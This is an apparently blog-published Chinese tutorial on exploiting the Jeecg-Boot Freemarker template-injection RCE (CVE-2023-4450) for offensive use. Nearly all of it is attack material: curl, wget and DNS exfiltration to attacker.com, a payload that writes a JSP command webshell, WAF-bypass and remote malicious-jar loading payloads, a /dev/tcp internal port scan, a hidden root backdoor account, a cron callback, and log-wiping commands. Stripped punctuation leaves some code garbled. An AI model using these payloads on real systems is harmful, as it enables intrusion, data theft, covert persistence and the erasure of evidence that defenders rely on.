别再只测whoami了!深入挖掘Jeecg-Boot报表RCE漏洞(CVE-2023-4450)的多种利用姿势

发布时间:2026/6/3 6:27:22

别再只测whoami了!深入挖掘Jeecg-Boot报表RCE漏洞(CVE-2023-4450)的多种利用姿势 突破基础验证Jeecg-Boot报表系统RCE漏洞的深度利用实战当安全研究人员第一次发现Jeecg-Boot报表系统的RCE漏洞时大多数人止步于简单的whoami验证。这就像发现了一把万能钥匙却只用来开自家门锁——实在是大材小用。本文将带你超越基础复现探索CVE-2023-4450漏洞在真实攻防场景中的高阶应用技巧。1. 受限环境下的生存艺术在实战中我们经常遇到目标系统没有nc、bash被限制甚至/bin目录不可写的情况。这时候就需要发挥创造力利用系统现有资源实现控制持久化。1.1 无nc环境下的数据外带当目标服务器无法使用netcat时可以考虑这些替代方案# 使用curl/wget将命令结果发送到远程服务器 curl -X POST http://attacker.com/data -d $(id) wget -qO- http://attacker.com/collect?data$(ls /|base64) # 利用DNS协议外带数据 ping -c 1 $(whoami).attacker.com文件下载技巧对比表方法适用场景隐蔽性数据量限制HTTP请求出网环境中较大DNS解析严格防火墙高较小ICMP隧道深度检测环境极高小1.2 WebShell的多种写入方式当直接反弹shell不可行时写入WebShell是更稳妥的选择。除了常规的echo写入还可以尝试这些方法// 使用Freemarker模板注入写入WebShell #assign ffreemarker.template.utility.ObjectConstructor?new(java.io.FileWriter,/path/to/shell.jsp) ${f.write(%page importjava.util.*,java.io.*%% if(request.getParameter(cmd)!null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); DataInputStream dis new DataInputStream(p.getInputStream()); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %)} ${f.close()}注意写入路径应优先选择Web应用的upload、temp等可写目录避免因权限问题失败。2. 内网横向移动策略获得初始立足点后真正的挑战才刚刚开始。内网环境往往比边界防御更加脆弱。2.1 内网资产探测技术使用系统自带工具进行内网扫描# 使用ping扫描C段 for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep from; done # 端口扫描的替代方案 timeout 1 bash -c echo /dev/tcp/192.168.1.10/80 echo Port 80 open内网常见服务快速识别表端口可能服务攻击面445SMB永恒之蓝漏洞3306MySQL弱口令爆破6379Redis未授权访问8080Web应用Web漏洞利用2.2 攻击载荷传递技巧在内网中传输工具需要避开安全设备的检测# 使用Python临时HTTP服务器 python -m SimpleHTTPServer 8000 python3 -m http.server 8000 # 通过编码方式直接写入文件 echo -n base64编码内容 | base64 -d /tmp/tool3. 绕过防御的Payload构造艺术随着漏洞的公开简单的攻击payload很快会被WAF拦截。我们需要更隐蔽的攻击方式。3.1 Freemarker模板注入原理深度解析该漏洞本质上是Freemarker的模板注入问题。理解其解析机制可以帮助构造更有效的payload#-- 基本执行结构 -- #assign exfreemarker.template.utility.Execute?new() ${ ex(命令) } #-- 反射调用变种 -- #assign clazzobject.class.protectionDomain.classLoader.class ${ clazz.forName(java.lang.Runtime).getMethod(exec,.class).invoke(null,命令) }3.2 高级绕过技术针对常见的黑名单过滤可以尝试这些变形// 字符串拼接绕过 ${freemarker.template.utility.Execute?new()(whoami)} // 反射调用字符编码 #assign cmd104105100101 ${object.class.protectionDomain.classLoader.class.forName(java.lang.Runtime).getMethod(exec,.class).invoke(null,new java.lang.String(new byte[]{cmd}))} // 利用URLClassLoader远程加载 #assign uobject.class.protectionDomain.classLoader.class.forName(java.net.URL)?new(http://attacker.com/malicious.jar) ${object.class.protectionDomain.classLoader.class.forName(java.net.URLClassLoader)?new(u).loadClass(恶意类).newInstance()}4. 痕迹清理与持久化控制获得系统权限后的操作同样重要既要保持访问又要避免被发现。4.1 隐蔽后门技术# 创建隐藏的SSH后门 useradd -M -s /bin/bash -g 0 -o -u 0 backdoor echo backdoor:password | chpasswd # 定时任务持久化 (crontab -l 2/dev/null; echo */5 * * * * curl http://attacker.com/c2) | crontab -4.2 日志清理方法# 清理特定用户的bash历史 import os os.system(history -c history -w) os.system(sed -i /malicious/d /var/log/auth.log)在实际渗透测试中我们经常遇到各种意想不到的环境限制。记得在某次项目中目标系统甚至没有curl和wget最终是通过telnet连接到远程服务器的80端口手动构造HTTP请求才实现数据外带。这种灵活应变的能力往往比掌握大量工具更重要。

相关新闻